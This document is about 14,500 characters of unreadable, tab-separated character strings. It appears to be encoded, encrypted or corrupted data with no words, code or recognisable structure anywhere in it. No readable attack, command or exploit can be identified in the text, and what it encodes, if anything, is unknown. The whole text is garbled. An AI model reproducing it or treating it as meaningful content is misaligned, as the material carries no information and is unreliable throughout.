eZU6rWa	AEV3SHn W=_O[[6 9j5XfU3WfR0U^]eQ80R QB	$ZW@vW`	iEVSHnm_\[V@ VXULW;R	Uh]}QR:QB	$ZWB/vWg	P5V4SH?mT_w[WB HX UTWR0UR]aQ=RQx	eZYl3IWQ	SJVSE;P33_l[Ul )VXUnWR0UP][QbR9Qx	!ZY5#5W[	h>hVSH;UT_3[[Q 6t7XU@W.R0US]KQ R.QB	$ZaBjWU	M>^VSj13H_v[V@ pX8UHWR2U@]GQ3RQZ	ZYPflWc	7HVSG#Um`_w[PR M6X.UDWRU@]eQ8 RQJ	ZYjrW[	inVSXt33_r[L6 5tXUTW=R1Uj][QRQR	ZM7lWg	B^V3SDU U_Q[UA nX9UnWR1UC]_QRQx	ZcB<rWa	B EVSH;XG_1[V@ D1X8UHWR0UP][Q#R8QR	+ZMR;vW`	]2JVSG#NF_1[Wj 36XUrWR0UA]8QRQx	eZUApWc	5cuVS0<v0V_1[VP lXUnWR0UP]\Q-RQJ	!ZWBbrW[	iJV6SH'h U-_l[U@ DXUDW.R1Uh]OQ/3RgQB	gZRP$rWL	RnV6SEovm-_3[`@ N1XUnW&RUm]4QRQx	$ZSlpWa	P5VSVuV_1[`@ H1XUDWRU@]GQ83RfQZ	$ZU@|WQ	SuVSHs6l_}[Pi !jX:U\WRUP]_Q R9QJ	)ZQl/rWU	ARVSH?uk-_l[Uk OXU\WR1Uh]jQe3RQR	
ZS6?pWL	M2nV6SE1W=_r[T7 pXULWR	UN]}Q/3RQJ	!ZSOrWc	7}VSm#tm-_v[bl VX UTWR0UQ]GQRQR	ZcR5WM	SnV5Sm#tn_\[U7 =t1XUrWR
Uk]yQ RQR	
ZQjrWg	C>JV5SE;nG_O[[l {5XfU\WRUC][Q R.QB	:ZRRHWa	C:nVSl?OW-_w[T5 %t7XUHWR U5]aQRQh	 ZSB3PWa	MEVSH4G`_l[TR N1XU@WRUQ]yQ:R9Q5	gZbR|WW	nEVSE;P3z_1[Oi !{XUvWRUA]uQbRQR	!Zbj?rW[	o1VSj;n V_l[[l )DXUDW&R0UA]yQ<RQR	
ZVBlWg	BEV5SH?kG-_\[L7 =tXUDWRUQ]uQ"RQh	 ZZiPWa	B>JVSH;4V_}[b@ N7XU\WRU^]fQ-RQR	
ZU7bIWU	@chV5SniG-_l[U6 9p5XgUPWRUA]uQR:QR	ZWBlW`	BsVS3U U%_Q[PP zXUDW=R
Uk]<QdRQQ	fZeBjWU	C&EV5SGsW=_q[Tj 9DXUHWRUA]yQ>RQB	$ZYjflW[	hguVSFT3z_r[T@ 9tX?UnWR1Uh]OQRQx	:ZUBPW[	kEVSHiT_l[U6 V7XULWRUN]eQR9QJ	ZWA?rWU	BHV5SGnk-_r[e@ %j5XfUrWRUN]OQ6R>QB	fZYP$rWL	P>^V SX0{V_}[[j ayXU@W&RU5]aQ#R>QF	$ZaB;}Wa	MnV5SE;sT_4[Sj vXUTWR1Um]aQ8RQp	
ZWRPW`	M^VSmfR1z_l[Ui t1XUrWRUj]eQdRQZ	ZN@rWP	CHV5SF?UEd_Q[T5 %N7XUDW=R0U^]KQ3RQx	eZaA?vWc	7:hV SVij_0[VB N6XUDWR1UA]uQ/0RQJ	+ZNP#pWa	M^V5SH;430d_\[bP H1XUnWR1UN]jQ-RQ5	!ZaONWg	]nVSlX7l_1[Ul j1XU~WRUj]eQRQ5	$ZYP#rWT	R^VSj;Um`_l[[P %hXUvW=R0U@]_QRQJ	eZbR<rWg	M2EVSF?3G-_S[[B )p1XULWR U7]eQ80RQx	+ZNRlWc	71V4SXlT_3[OR N1X8UHWR	Uh]OQ<RQx	ZaBPWa	B2JVSltl_1[Sj "t7XU@WR0U@][Q'RQx	%ZUjlWa	BnVSH'hj_U[SP 9v7XUnWbRU^]aQ6R:QB	gZU7PWc	4 EVSm1H_r[[l )h6XULWR2UN]}Q0RQ5	$ZUBbvW[	nc}VSF?T V_S[SP pXU@W&R7U@]eQ83RQx	:ZU6?hWM	R JV3SE;iX_G[e7 :t7XUvW=R7U@]jQfRQZ	ZS@?rW`	AnV5Sm#UD_0[Sl d3XU@WfR1UA]yQ:R8QR	!Zc@pWc	72EVSWo1F_}[Tl V1X9ULWRUN]OQR9Q5	$Zbj}Wa	A_V4SF?h V_S[U7 VX8UHWR2UN]OQ:RQh	fZU7pWL	P.nVSW#nG-_@[Pi tXUjWRUN]OQ8RQR	ZeA?}WO	SoV6SH'UG-_S[cP `37X.UDWRUQ]<Q3RQR	!ZdP$rWa	QnV3SDvH_v[X6 35XeUDW=RUP][QR9QJ	$ZMApWg	M_VSl?om`_l[Wl jXUnWR0UR]XQ-RQZ	 ZYlrWg	@.nV5SnU W`_r[[l j1XUPWRUB][QR9Qh	 ZM@vWQ	R>oVSH?n6n_}[T7 v7XU3WfR1Uh]KQd RQB	ZdRPWa	AnVSn?sD_\[[j %tXUDW=RUP]CQ3RQx	$Za4'pWa	]2RV5SGuG_l[R@ jXULWR0UA]~Q-RQx	:ZbPHW[	nchVSnl3G`_i[Tl VXU@WR0UR][QR9Qh	 ZeBjWg	C>EVSk;hD_v[bP t5XdUnWR
Uk]yQ> RQh	!ZZ73rW`	M>EVSE;Un_}[[B )p1XU@WR
Uh]OQR9Qx	!ZbkPWU	C&hV5SH;nG_w[Xl VX9UHW=RUQ]zQ-RQ4	bZaA?pW`	BHV4SG#ln_C[Pi !{X:UDWRUN]OQ R9QJ	eZZBvWU	C>sVSX?UT_0[W@ `N7XUnW RUN]OQ:R8QR	$ZW@pWT	@gEVSH3D_s[Tj vXU7WRUj]GQRQB	$ZU5}Wg	A1V4SV?7U-_v[bR VXUHW;R0UN]eQ7R:QF	 ZaBvWa	BRV5SnPm-_w[Vl VXU\WR0UN]eQRQx	$ZZk5Wa	C>MV4SG#PD_1[ck lX:UDWR1Uh]OQ> RQF	fZbQPWO	PonVSERD_l[[B h1XUHWR7U@]GQRQx	$ZY_vW[	no^V5SG#0 U-_v[Vj 31XUnWRUC]aQ0R QF	$ZU7rWa	@nVSk;P1z_q[Pl :tXU@WR7U@]eQRQx	!ZWBlWQ	R>hVSn?U V_4[Xj 9t7XULW-RUQ]GQ#0R QB	 ZaAlWa	QhV4SG#3G`_U[T6 9p1X8UDWRUB]KQ/R8Ql	$ZelvW[	nohVSHhT_}[Lj j1X>UHWR0UA]yQ=R:QR	$Za@?}WL	]hVSHsF_r[bP {1XUDWRUB]XQ-RQl	$ZWBlWQ	RuV4STy 0-_l[cP hXUnWRUN]OQ:1RgQB	ZdkPWL	S&nV5Sk;XG`_w[`A 9v XeUjWR1UA]GQ RQZ	ZQi'lW[	n^VSH?s3z_G[Wl DXULW=R0UN]eQ:R:QQ	+ZU6?pWO	SJVSll6j_}[e6 p1X?U\WR
Uk]yQe3RQl	ZYPrWU	BEVSmP2-_v[bP %V7X UPW.RUN]OQRgQB	fZeP#KWU	MnVSn5Ga_}[L7 3X9UnWfR
Uk]uQ/3RQx	$ZTjgrWg	@.JV5SH?TE_\[cR vXUHW&R0UA]yQ=RQx	ZU5HWW	7 JV3SE;7G_P[Pj j1X9ULWRUN]eQRQR	
ZdkpWU	BJV3SHh 3_1[`A j6X UPWR1UA]yQ6RQF	$ZUAjWg	h"EVSH'VH_0[T7 37XUnWR2UC]aQ9RQR	!ZbipWg	CEVSHs W_v[dB N7XUnW=RUB]aQR9QJ	ZYj?hWV	5 hV6SE;XH_0[Xi t1XUDWRUA]yQRQR	ZWA?}W[	hJV5SGh 3_r[T5 V7XUDW.R1UA]GQR8QR	
Za7PWT	S nV5SG#k32-_O[X5 9j1X8UHWR
Uh]OQ;RQ5	$ZY_PWS	SoV4SXn 2_\[bA 9nXUHW;R0UA]uQ<R9QR	!ZU60WU	@hVSk;iD_w[bR 2t5XfU\W=R1Uk]yQ8RQ1	%ZNA?PWU	B>AVSH'hm_O[T@ v7XU3WRUN]LQ-RgQB	
ZeR3}WT	R&EVSGgvW_p[Tk 9D1X8UHWR
Uj][QR>QJ	 ZaA3vWP	M2JV5SE;[V_r[e7 hX UDWR0UN]eQRQh	eZU6?lWg	BgRVSHvD_q[Ti t5XgUPW&RUN]eQR:QR	Zak?rW[	hRVSGPE%_l[Uj %j7XUDWR0U^]eQR:QR	
ZSk?pWc	4 EVSm#Xn_l[VB )j7XULWRUA]uQ3RQR	ZUA?}Wa	MoVSn?G3z_4[`@ lX U@W=R1Ul]KQ=RQR	:Za@$|Wg	ihVSnJF_}[UR 2{XfU7WRUN]eQ8R?Qp	ZM7 rW`	iuV4SFPn_3[T6 j5XfUrWRUN]KQ3RQx	:ZZ6lW[	hcnVSn;JH_S[VA NXU7W=RU^]eQ3RQh	ZZl/pWX	]21V4SV?vGa_4[Sj lX:UnWR2UN]LQ-RQR	$ZYjrWO	]nV3SFH6n_w[`O n5XfU3W=R1UA]uQ;RQR	
ZTRb}Wc	4JV3SD;y W2_0[T5 `V5XfU3WRU@]eQ<RgQB	fZdllW[	oEVSE0j_U[L7 )3X9UnWRUm]aQ:R?Qx	$ZZkrWP	PoV4SWU 19_s[Tj jXUHWR1UC]aQ0RQ1	ZU63lWT	SRVSW#H6n_r[R4 t7XUnW=R1Uj]_QRQx	$ZY6}W`	BnVSH'u T_0[Sl hXUDWfR0U^]jQgR QB	
ZeP#KW`	M EVSH03H_l[T4 !t1X9UnWRUB]KQ:0RQR	ZU@#lWc	5oRVSF?s 3_1[`R pXULWR1U@]eQ<RQZ	$ZUA?hWg	RcnVSlv6l_r[`A V1XUjWRUB]KQ%R?Qx	ZMQ}WT	REV5SF?Ul9_v[Ul lXU@WRUQ]GQ6RgQB	!ZV@NW`	MnV3SHvV_1[T5 `M1XUHWRUA]uQ0RQZ	ZU@vW`	]2hVSD;vH_\[Vl p1XUvWR
Uh]OQ83RQh	 ZU7lWT	RJVSHhm-_l[Xi !{X9UnWRU^]OQ3RQB	ZMQpWM	R^V5SjP X_}[bQ 9V5XfU@WR
Uk]GQ0R QB	$ZeP$rWg	BcnVSl0{H_v[X7 d3XUnW=R0UP][Qg3RQx	$Za4'PWa	MAV4SX;i3z_4[cQ 9Y7XUvWR2UA]GQ:3RdQt	:ZcR3BWU	BgnVSXn3H_r[b@ 9pXUrWRUB][QbR9Q5	
ZZA?pWQ	R>^V5SF[ W=_U[b@ 9H7XULW R
Uk]GQ R.QB	gZYl<|WU	CEVSmcyn_r[`B dp1X8UHWRUm]aQ3RQx	$ZcB3}Wa	S}V4SH'Cm-_w[[j 9YXfU\W=RUA]GQRQR	:ZUA3}Wa	MsV5SH033_r[bR )p1XUTWRU@]eQR?Qp	$ZSk?5Wg	AEV5Sk;n 2_r[bP 9lX8UnWbR1Uh]eQRQx	gZWB<WU	BEV5Sl?k33_3[X6 9j7XUHW=RU@]CQ;3RQB	$Zel0}WT	CJV5SH'uV_1[e7 VX9UHWR1Uj]eQ<RQx	eZYiNW`	B>nVSk0 T_w[TR dV7XUDW&RUh]}QRQZ	ZU6rWQ	REV5SE;n X_r[[7 lX9U3W;R1Uh]eQ83RQR	$ZdBlW`	BEVSHim_0[T5 VXULW=RUA]uQR:QB	$ZW@#rWg	RhV5SH?mF_w[WB H1XU7WR0UP]eQ:RQ5	gZYl3PW[	iJV3SE;UD_l[Sl VXUnWR0UQ]9QgR9Qx	fZYP#vWa	B>hVSl?UW_r[[Q 9{7XU@W.R0US]KQRQR	$Za@5WS	S^VSj03H_l[L5 vXUHWR U7]CQ3RQZ	ZYQ}Wc	65VSG#[m`_w[`B M7XUrWR
Uj][Q8 RQx	
ZYjrWa	CnVSXJ T_}[e5 %tXUPWR0UP][QRQR	ZTRPWL	C^VSmU V9_l[U@ M7XUnWRUS]_QR9Qx	ZQR<rWa	MEVSFvG_r[V@ l1X8UHWR1UN]eQ#RQB	+ZMBlW`	SnVSG#nV_1[VP 36XUrWR0U@]eQ=RQx	!ZUANWa	@cRV5Snvm`_1[TB )3XUvWR1Uk]yQRQJ	!ZWBbrWg	S>JVSGh W_S[U@ lXUDW.R1Uh]OQ/3RQx	gZUBPWL	SnV6SFvm-_3[`@ NX9UnW&RU^]OQ3RQR	$ZSiPWa	]25VSVuV_1[Xj HXeUnWRU@]eQ:3RgQB	:ZU@vWa	CnVSW#sT_}[Tj 9pX9UbWR
Uk]GQ"R9QJ	fZZB/rWc	RVSGum-_S[Ul et7XU\WR0UQ][QRQR	
ZSB3}WL	SnV6SDsW_r[VB NXULWRUA]GQ/R8Ql	$ZS@?vWc	7gMVSm#XG-_v[SR V1X?U7WR0U@]CQ<RQ5	:ZcRBWQ	SRV5Sm#tV_\[Vl =t1XUnWR
Uk]yQ RQR	ZNPrWM	RJV5SGnG_U[[l )H7XU\WRUC][Q RQF	:ZU7HWa	@nVSnUW-_w[T5 %OXeUHWR Uk]GQR?Qx	$ZSB3PWa	MhVSHF 3_w[Vl N7XU\WRU^]CQR9Qx	ZbRBWg	P^V6SE;Un_1[OA VXUvWRUQ]uQ#RQR	!Zbj?hWa	B1VSmn W_r[[k 3XUDWR1UA]yQ1R.QB	
ZV@vWg	BcEV5SE;HG-_3[[B =t5XeUDWRUQ]uQ"3RQ5	!Zc@rWa	B>HVSH;XT_}[Xj N1XU\WRUQ]GQRQR	
ZU7b_W`	@cHV5SHi3H_l[`l 5t5XgUjWRUA]9Q/R:QR	ZTRlW`	C>sVSDU W_U[PP zXUDWR
Uk]<Qd R.QA	fZYQ?5WU	MEV5SE;jW_s[Tj 93 XeUHWRU^]OQ>3RQR	ZYjvW[	n}VSFTT_r[T@ 9tX:U\WR1Um]4QRQR	 ZUA3vW`	MHV3SFiG-_l[U6 9V7XUnWRUN]KQ&R9QJ	ZWA?rWc	7HVSG/nm_w[e@ 9{5XfUrWRUN]OQRQR	fZcRPWO	Q^V SXVW_O[X5 %O6XU@W&RU@][Q#3RQZ	Za@rWa	M}V4SE;sT_4[U@ v5XgUnWR1Ul]_QRQx	ZWRvW[	kJVSWfR6j_l[Ui t1XUnWR2U@]eQRQZ	ZU@rWa	B>HV3SH'UD_O[T6  {5XfU\WfRUN]KQdRQx	eZa5vWc	6hV SX'kj_l[T7 VX8UDWR0U^]OQ/0RQR	+ZNQ?}Wa	@"5V4SH;nU-_G[Pj H7XUvWR7UN]OQRQ5	ZaO}WO	]hVSHN 2`_1[Uj p1XU~W&RU7]eQRQ5	
ZY5#hWa	B^VSlUma_}[[R )v7XUvWR
Uj]_QRQx	eZbRPWg	@gEVSGlG-_S[T7 )p1X9ULWfR Uh]OQ8RQx	'ZN_'lWc	7}VSHsT_3[dl N1X8UHWR	Uh]LQ-RQR	$ZaBjWQ	R2HV4SW#t6j_1[WB )V7XU@WR0U@][Q'RQx	$ZdjPWM	RnV6SFhk-_0[SP nXUnWR
Uh]aQ83RQx	gZZ7<rWc	7EVSnBH_Q[X7 )2 XfULWR U6]aQ0RQx	$ZU@?vW[	i>nVSF?n V_S[dP pX9UnW&R1UN]eQ:3RQR	fZU6?IWQ	R EVSHi7n_G[Tl {7XUPWR	Uj]eQaRQZ	ZYP?rWc	7nV3SD;UG_S[Sl d3XU@WfR1UA]yQ:RQF	!ZZ7PWc	72EVSX?5F_P[Tl lXULWR	UN]}QR9Q5	$Zbl4rWa	A 1VSl?u 3_S[Sl VX:UvWRUB]aQ=RQh	 ZU7jWU	@.RVSW#n12-_@[Pl pXU@WRUN]OQ#RQR	ZeA?hW[	hoV6SH'UG-_w[cP O7X.UDWR0UA]<Q R.QB	!ZdP$rWg	@>nV3SFUH_v[`A 31XUDW=R U7]eQR9QZ	ZMO}Wg	CEV3SF?n 3_l[bl j5XfULWR0UN]OQRQZ	 ZYlPWL	P.hV5SnP1z_r[R7 =t1XU@WRUB][Q8R9Qh	ZMP5WP	SoVSE;n6m_O[T5 9V7XUvW=RUN]KQ3RQJ	ZdQPWg	BgnVSl{D_r[X5 %tXUDW=R1UN]OQ3RQx	$Za5#}Wa	SnV5SGTW_P[Wj j1XUvWR0UC]aQRQR	
ZbPvWT	PcEV5Snln_i[Pl )VXUDWR1Ul]HQfR9Qg	+ZWBlWa	AEV5Sk;hD_l[bP 9N7XUnW;R1UA]yQRQZ	!ZWA?vW`	iEVSH?Jn_}[[B )vXU@WR2UB]aQ0RQp	$Zbi'pWU	BJV5SH;hT_w[R7 VXULW=RUA]uQ<RQx	fZaA?HWg	RJVSXlD_C[e7 dVX:UDWRUN]OQ R9QJ	gZTRvW[	ouVSD;U3_1[W@ `M7XUnWR1Uh]OQ R.QB	$ZdlPW[	i:EVSHtD_W[Tj 3XU7WR U7]CQRQR	$ZU5?pWg	AMVSF?TUd_v[cR V5XgU\W;R0UN]OQ7R?Qt	:ZaBlWa	BsVSHU T_w[U5 VXU~WR
Uh]HQ.RQx	?ZUkvWg	CMV4SG#PW`_w[cj `V5XgUDWRUN]OQ8R8QR	fZYkPWO	AnVSH0vD_0[T7 hXUHWRUQ]uQRQB	$ZYPflW[	i&oVSm#h 19_p[Tj 3XUvWRUB]aQ<0RQ1	gZU75WV	5RVSk;P z_q[Tl )VXUPWR2U@]eQRQx	:Za7PWL	RhVSn'U U!_0[Xl &{7XULW&R0UA]GQ#0R QB	 ZRj$}Wg	BhV4SGBG`_O[L6 936XUDWR7UN]}Q/RQB	!ZYP?rW[	no^VSHiV_}[UP jXUnWR0UA]<QR9Q5	Za@?}WL	]hV4SW#sD_r[T5 9V1XUPWRUB]HQfRQl	$ZSlPWO	CuVS2/y6n_1[cP 9v7XUnWRUN]OQ RQx	ZelPWL	]nV5Sk;sG-_Q[[k 9HX8UjWR2UB]aQ RQR	'ZUl4}W[	ncEVSH?nG=_\[Ll DXULW=R	Uh]}Q=R:QR	fZU6?KWW	4RVSW#l3z_}[e7 dp1X?U@W=R1UA]yQ3RQl	eZbjrW[	iEVSm#P0%_\[bQ  {7X UPW&R1Uh]OQ;6R:QB	fZdkHWU	CnVSn7G-_3[L7 3XUnWfR7UB]aQ/R?Qp	$ZTjgrWg	@cnV5SH?4E_\[`l vXUHW&R0UN]OQ=RQx	ZU5HWW	7 sV3SE;7n_l[Ol dp1X9UnW&RUN]eQ9RQR	:ZaAvWW	4>JV5SE;h 3_1[`@ nX>UPWR
Uk]yQ<RQF	$ZS6jWP	]2EVSFpG_1[T7 DXUnWR U6]aQ9R?Q1	$ZbirWg	BsVSHXm-_S[Vl N6X.U@W=R
Uk]GQ<R9Qh	
ZYj?hWg	n nVSnXW-_0[Sk 5t1XUrWRUA]yQRQp	$ZcA?}WT	CJV3ST;h 0!_O[T5 `p7XUDWbRUQ]GQRQR	
ZYlPWT	RnV5SFR33_l[`@ 9V6XUHWR U6]aQ;RQF	$ZYR;}WS	SOVSH4H_\[LQ 9n1X UTW;R0UC]aQR9QR	ZU6?PWc	5JVSHi3H_w[[l {5XdU@WRUA]yQRQ1	gZWA?PWM	RAV6SEnhl9_0[T@ 9lXUvWR0U^]LQ-RQx	
Zel3}WT	PoEVSGUW=_r[[k 9l1XUHWR1Ul][QR>QF	!ZaOvWP	@EV5SE;CT_r[cR hXUnWR	Uj]jQ-RQZ	eZU6?}WL	RghV3SHv12-_q[e7 )V5XgUvWRUA]XQ-R:QR	ZTQ?rWU	B>RV5SFPk!_\[Uj t7XUDWfRUN]eQ/RQh	
ZaB3}W[	iEVSk;5n_4[VB )jXULWR1Uj][QR:QR	ZUA?}Wa	BOV4SH?PV_4[W@ lX>UDW=R1UN]}Q8RQx	:Za@$WQ	SEVSXJ W`_}[Pi {XgUPWRUA]XQ R?Qp	$ZWB rWL	RuV4SFPj_O[T6 nX9UrW=R0U^]KQRQJ	:ZbR<}WT	AnVSm#vH_l[VA N1XU7W=R	Uj]GQR>QB	$ZZiPWg	AsVSF?7 3_4[b@ lX9UrWR
Uh]OQRQx	gZYjIWQ	]nV5Sm#51j_w[Sj %n5XfU~W=R1UA]uQRQR	gZSlb}WO	RJV3SH;y W_O[T5 %V5XfU3WR0UP]eQRQB	fZRklWc	7gEVSGlj_S[VB )p1X9UnWR	Um]aQ:RQF	!ZZlb}WP	SnVSGok%_r[UP j7XUHWR1UA]uQ<3RdQt	gZU63NW[	ihVSlH 1_r[bO !{7XU\WR0UQ]yQRQx	gZaA}Wa	4nVSG#u0%_l[Sk 9DXUHW=RUA][Qd1R.QB	
ZVB;KW`	M2EVSG#n3G_l[[O !{XUnWRUB]KQ:RQR	ZUBvWc	5osVSF?h W_1[cl p1XUHWR7UA]GQRQZ	$ZUBpWc	7cRV3SFv1j_r[`A V1XUjWRUB]KQ;R?Qx	eZUA}W[	oEVSH?UG=_V[Uk t7XU@W=RUQ]GQ6RQJ	!ZW@NW`	MnV3SE;VW_Q[L5 atXUHWR Uj]CQR>QJ	ZU@lW`	PgHVSD;UH_\[`l pXUDWR
Uh]}Q83RQJ	:ZU7vWc	7hVS0;h7j_l[Xl {X9UnWR
Uh]OQ3RQB	ZTkpWM	Q^V5SF?P3_3[bQ 6t5XfU@W&R1UA]GQ3RQR	$ZWB<rWX	SnVSn'sH_l[X7 dpXUnW=R U7]eQgRQZ	 Za7/PWa	@"EVSH;lV_4[OA 9Y7XUHWR2UN]OQ83RgQB	$ZcR3HW`	BghVSk;nG`_r[R4 tXUnW&RUB][Q6R9Q5	!ZeA?pW[	h>^V5Sj;[ V9_0[bB V6XULW=RUQ]GQ1R.QB	gZVAjWP	PEVSm/3n_0[`B d3XUHWRUN]OQ0RQR	!ZcO}Wa	]2JV5SH'nG-_w[T@ 9YXeUDW=RUA]GQ<RQR	ZUA3vW`	MsVSn0H_r[R6 5t1XU\WRUQ]GQdR?Qp	gZek?vWg	C>EV3SD;n6m_v[bP 9N7XU3WRUN]eQRQx	gZV@$WU	@EV5Sni33_r[X6 9LXUHW=RUA]uQ;3RfQR	ZeklW[	oJV5SH'33z_1[T7 VXU@WR7UN]jQ-RQx	$ZYl3_W`	B>RVSk17n_w[[@ at7XUjWR2UN]}QRQx	gZZAhWg	CEV5Sn?n W-_l[[7 )v5XfU3WRUN]eQ#6R>QB	$ZZ7lW`	iEVSF1m_v[L5 V1XULW=R1Uk]GQR:QB	$ZWAvWg	RHV5SH?U3z_w[XR HXeUHWR	Uh]eQ=RQQ	fZYiKWg	SRVSk;U T_l[UA 9VXUnWR1Uk]9QgR9Qx	
ZM@#5W[	hhVSnUW`_v[[Q t7XU@W.R1Um]KQ R.QB	$Zel3hWP	Q^VSmbR3H_w[T5 HX8UHWRUA]GQR:QR	ZYR/rWc	65VSG#Um`_w[Ul M6XdULWRUA]GQ: RQl	
ZYk}W[	inV4SHtW`_r[O@ %tXU3WR1Uj][QRQR	:ZelPWL	R^VSE;U V9_r[UA  t5XfUnWRUS]_Q6R:QB	ZcBPWa	@.EVSFhG_l[V@ V5XeUHWR1Uk]yQ#3RgQB	+ZMA3rW`	SRVSG#7T_}[UP 36XUrWR0UA]yQ:RQR	ZUApWT	PcuVSk<vH_1[T@ 93XULWR0UQ]GQRQJ	ZQlbrWa	CJVSGh T_1[UA  t7XUDWRUN]OQ 7R9QJ	gZSAPWL	]nV6SEnkma_0[X5 l5XfUnWfR0U^]OQRQx	$ZSjfpWa	PgsVSVXT_1[T@ H1X9ULWRUB]KQ83RgQB	:ZU@}WO	SJVSns 1_}[Pl jX8UTW&RUQ]GQR9QJ	fZa7/rWg	oRVSE;u3G_\[Ul &{7XU\W=RUN]jQeR8QR	
ZdR3}WL	QnV6SFvW=_w[T7 vXULWRUA]GQ/RQ1	$ZSArWc	7>^V3SG#u W_v[VB V1XUnWR0UA]uQ<RQp	eZcR}WO	SRV3SFtH_\[WR 5t1XUTWR
Uk]yQRQR	fZUPrWM	RJV5SGnG_0[[j `N7XU\WR1Um][Q RQF	:Zc@NWa	CnVSn'hW-_3[L5 %tXUHWR Uh]OQ3ReQl	$ZSB rWa	BHVSH1G`_w[e7 D6XUnWRU@][Q8R?QZ	$ZbQ3vWa	Q:@VSHWX1_\[Rj 5jX9UTWRUN]@Qd7RQZ	ZOR_W[	7cuVSD{7D_F[[@ z5XeU\W.R7US]_Q"3RdQo	$ZQj6WU	MiVS38v13_V[cB 52XU3W R7UQ]9Qd7RQZ	'Zal?6W`	A23VSk47G_G[NP 5D1X>UDW.R7U@]GQ$ RgQV	ZbjfJW`	loAV SVt319_o[cj %LXUjW`R	Uh]eQ7RQZ	!ZSR4WU	M:hV3S1?tH1_U[RP yXUTWRU4][Q7RQZ	'ZOR_W[	7cuVSlOU!_1[X5 %lXU@W`R	Uj]_QRQd	
ZdB?6W[	4 _V3S1?j0`_\[c@ 90XUTWRUA]CQ"0RQc	cZO_?hW[	n2NV3S2t32"_}[W4 9n7X.UbWR2UA]DQ.0RQh	ZU_?hWP	S oV3S3WU_r[RA LXU7WRU6][QdRdQ5	ZVP#4Wg	S }VS3'rV_@[cl tXUDW=R0UC]4Q-7RQN	ZUi|WM	Pg@VSE;KE`_v[O6 =AXU3W&R1UB]fQ RdQt	ZOPvWS	o1VSUR7k-_\[b7 NXULWRU^]HQ  R QF	ZUi'_W[	kAVSFx l9_}[Ll {X8ULWbRUQ]GQ-7R?Qx	!Zc7HW`	Q@V SX{ X_F[Ti !HXUPW<RUl]OQ7RQZ	!ZQ4jWO	RiVSn?{7k-_O[b7 N6X UHWRU^]HQ. RQB	ZM_'lWS	i1V SX{ U-_G[LB Y7X U@WbR
Um]GQ7R?Qx	$Zc7HWT	A@V SV{ l9_}[LR jX8ULWbRUA]GQ- RQx	ZUl_Wa	Q1VSUR7l9_l[b7 N6XU7WRUP]\Q- R8Ql	+ZM7lWS	i1V SW{ U-_q[UR YXULWRU^]HQ. RQB	ZUi'HWc	6AVSE{U%_o[dk 2XU7WRU5]}Q'0RQg	+Zb@3JWg	M1VSE;{ U-_q[UR Y7X U@WbRUS]GQ7R?Qp	eZc7HWT	A@V SVx l9_}[Ll tX8ULWbRU@]CQ- RQx	'ZQjNW[	6&VV3SV?2 z_0[ci DX UjW.RU7]eQd R>QN	gZbOhWW	k:sVSlS0U_1[e5 `D6X8U@WRUC]aQ- R:QB	 Zc7TWa	7@VSHV1j_F[[O tX9UTW-R7U|]aQ-7RQd	&ZY5fBWg	M2sVSmbS l_[Wl R7XfUHWRUN]CQ  R8QB	)ZY7TWa	4@VSHW1m_3[TR 2y6XeU@W`R0UB]aQRQJ	gZaA?lWg	@2@VSE;yD_3[Xl )VX9U@W=R0UB]aQRQA	fZVBTWQ	P:~V5SEj1j_F[[B 9L6X>UbWRUP][Q6R9QY	+ZVj#TWP	Bc}V3SD;E32_v[e4 Y6X.UHWbRU@]_QRQI	$ZSOjW`	S5VSn'E33_v[X5 %LXU3W.RUl]aQ RgQR	$ZT5#JW`	i _V3S1J6m_}[Wj %RXU3W.RUl]aQ RgQR	$ZT5#JWS	n1VSkvE-_o[SB AXUnW`R	Uk]yQRQt	fZM@3JWU	M2OVST;t6k_i[`_ 9n5XdUHWR U5]fQ RQI	$ZSO?hWc	55V6SDj0`_\[e7 2{XU3WfRUk][Q'7RQZ	!ZQ4jWO	RoVSjH7E!_3[Wi zXUjWR2U@]\Qb7RQt	gZVl|WU	C }V3STt1z_0[UR 537XU?W&RUA]CQaRQV	
ZdB|WM	R&iV6SG#4 0!_3[c@ @XUnW`R U5]jQ RfQh	$Zd45Wa	A NVSGc2U_S[WP %2XUjW`R	Uk]yQ R.QJ	9ZRO?4W`	P5VSn'E33_v[X5 %LXU3W&R1UB]fQ RdQt	ZVR?BW[	6&VVSGbt32"_0[WR 535XeU\W:R2UA]yQ RfQZ	:ZQ5$|W[	o@VSn'V 2_\[cB 5hXU7WRU@]eQg R>QN	
ZNB;TW`	o2]VSV510!_1[c@ "{XU?W RUj]eQ6R:QA	fZeR3hWS	i@VSHV l_S[b7 9pX8UvWRU@][Q-RQx	ZWl?TWL	C&NVSk` l_S[b7 9pX8UvWRU@][Q-RQU	fZTPlWS	h~VSF?1 j_v[`P %3XUHW`R U5]jQ RQx	9Zek@W`	C uV3SX;W1z_3[cB =RXU3W.R	U@]eQ RQI	$ZVPTW`	]kVSHr 0_Q[LA 5LXU3W.R	U@]eQ RQI	$ZVR?BW[	6>]VSV5E`_\[eB zXUvW:R2UA]yQ RfQZ	:ZQ4IW[	o@VSn'V 2_\[cB 5hXU7WRU@]eQ R.QN	eZaPfjWO	R.~VSF{7Ed_V[b4 90XUHW`RUR]aQ-7RQd	%ZaPrWS	h}V4SEj1m-_F[[O OXgUHW`R7U|]_Qf R9QY	cZd_5WQ	QMV6SDJ z_}[Pi 3X?U7W.R7U5]aQ$ RgQR	ZU_?IWg	AhVSXKE`_p[`P pX9UjW8R7UQ]4Q'RQB	ZZ@4}WS	h~V5SEj2-_F[[B 9NXgUnWRUP]KQcRQY	$Zek@W`	C uV3SUt32"_0[Wi 06XUbW8R	Uk]GQ6R9QY	gZRBTWQ	S5VSX{7Ed_o[SB AXUnWRUl]OQaRQR	 ZdB?TWa	RcuV5SD;V6n1_s[eO 92XeUPW.RUR]aQg6R9Qh	 ZbB?TWU	M@VSm/Q331_p[WQ 5@XUnWRUj]eQg R>QJ	 ZaP#5WM	A:uV3SG/k32_0[[@ %DXUHW RUl]aQ'RQZ	:ZaR;IWP	S3VSm#E6m2_}[[B 9NXgUvWRUA]uQ1RgQR	:ZZB|WO	]:MVSn'S j_r[X7 5R1XUHW`R7U|]aQ-RQx	ZWlTWT	]NV5SE` l_W[T_ 2XUPWRU@][Q-RQx	ZWlTWT	]NV5SE`1j_3[Xl R7XfUHW`R	Uk]yQ6R9Qg	bZdB36WS	hc}VSEWU_r[RA l6XUTWR	Uk]uQ1R.QJ	:ZMB?TWU	M2MV4SGR k`_p[SO 926XUTW8R2UA]GQ1RdQt	
